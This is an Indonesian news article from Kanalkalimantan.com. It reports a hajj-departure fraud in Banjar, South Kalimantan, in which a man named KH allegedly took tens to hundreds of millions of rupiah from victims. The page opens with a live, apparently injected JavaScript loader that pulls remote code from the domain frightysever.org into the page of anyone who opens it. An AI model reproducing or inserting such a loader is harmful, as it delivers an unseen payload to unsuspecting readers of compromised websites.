(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Modus penipuan bisa memberangkatkan haji secara cepat muncul di Kalimantan Selatan (Kalsel).
Seorang lelaki di Kecamatan Kertak Hanyar, Kabupaten Banjar, Kalsel, digiring ke Mapolres Banjar atas kasus penipuan kasus pemberangkatan haji ini.
Tercatat belasan orang yang menjadi korban penipuan kasus pemberangkatan haji ini.
Kepolisian pun sudah mengamankan terlapor bernama KH (43).
Baca juga: 7 Desa Ikut Lomba Pos Kamling Gelaran Polres HSU
Diketahui para korban dijanjikan dan dibujuk rayu oleh KH untuk mempercepat keberangkatan yakni hanya menunggu selama lima tahun.
Bahkan para korban dijanjikan akan berangkat haji bersama anak atau putera KH Muhammad Zaini bin Abdul Gani atau Guru Sekumpul.
Terbongkarnya penipuan ini setelah korban menyadari bahwa keberangkatan haji yang dijanjikan KH tak kunjung terwujud.
Kapolres Banjar AKBP M Ifan Hariyat Taufik melalui Kasat Reskrim Iptu Bara Pratama Maha Putra menjelaskan, terlapor KH dibawa korban ke Polres Banjar pada Sabtu (27/5/2023) lalu.
“Awalnya pelapor sudah ribut dengan mendatangi rumah terlapor KH di Kertak Hanyar, setelah itu mereka pun sepakat untuk melaporkan KH ke Mapolres Banjar,” ujar Kasat Reskrim Polres Banjar Iptu Bara Pratama Maha Putra, Selasa (6/6/2023) siang.
Iptu Bara Pratama menjelaskan, modus penipuan ini berawal pada awal tahun 2018, para korban yang sudah mendaftar haji secara resmi tiba-tiba ditemui oleh KH yang mengiming-imingi percepatan keberangkatan ibadah haji.
Dari mulut ke mulut informasinya didapat oleh para korban, KH menawarkan keberangkatan haji bisa dipercepat itu kepada para korbannya.
“Terlapor hanya satu orang dan bekerja sendiri, dia mengaku bekerja di Kedutaan Besar RI, sehingga membuat korban percaya begitu saja,” jelas Kasat Reskrim.
Sementara itu, seorang perempuan SK, warga Jalan Belayung Baru, Kertak Hanyar, Kabupaten Banjar, secara resmi melapor ke Polres Banjar mengalami kerugian sekitar Rp 60 juta.
“Kurang lebih kerugian pelapor sekitar Rp 60 juta, dan uang kerugian itu bukan hanya uang dari pelapor, tetapi ada juga uang keluarganya,” sebut Iptu Bara.
KH yang menerima setoran uang hasil menipu korban mengaku menggunakan dana segar itu untuk membuka toko roti.
Baca juga: Upaya Menekan Emisi Karbon, 7.000 Bibit Mangrove Ditanam di Pesisir Tanah Laut
Dari kasus ini juga didapati ada korban lain yang berasal dari Kecamatan Gambut, Kecamatan Astambul, hingga luar daerah seperti Kabupaten Tanah Bumbu.
“Untuk korban di Tanah Bumbu kerugian yang didapat lebih besar sekitar Rp 500 juta,” kata Kasat Reskrim.
Kasat Reskrim Polres Banjar menjelaskan, saat ini penyidikan masih berjalan dan terlapor telah ditahan setelah laporan resmi ke polisi dibuat per 28 Mei 2023.
Lebih jauh diungkapkannya, dalam waktu dekat pengacara pelapor berencana mengadakan pertemuan antara terlapor dan pelapor.
“Yang intinya pertemuan itu kita tidak tahu isinya apa, namun yang kita tekankan kepada kedua pihak bahwa penyidikan akan terus berjalan,” tuntasnya. (Kanalkalimantan.com/wanda)
Reporter: wanda
Editor: bie
KANALKALIMANTAN.COM, BANJARBARU – Jasad berjenis kelamin perempuan didapati warga Landasan Ulin Timur tak bernyawa di… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi (Pemprov) Kalimantan Selatan (Kalsel) menggelar acara penyerahan hadiah penghargaan Adipura… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Dinas Perpustakaan dan Kearsipan (Dispersip) Provinsi Kalimantan Selatan (Kalsel) bersama Lembaga Pemasyarakatan… Read More
KANALKALIMANTAN.COM, JAKARTA - Setelah hampir sebulan mejabat Plt (Pelaksana tugas) Gubernur Kalimantan Selatan (Kalsel), H… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Provinsi Kalimantan Selatan (Kalsel) memasang titik Alat Pemberi Isyarat… Read More
KANALKALIMANTAN.COM, PARINGIN - Antisipasi dan kesiapsiagaan menghadapi bencana banjir, puting beliung dan tanah longsor (Batingsor),… Read More
This website uses cookies.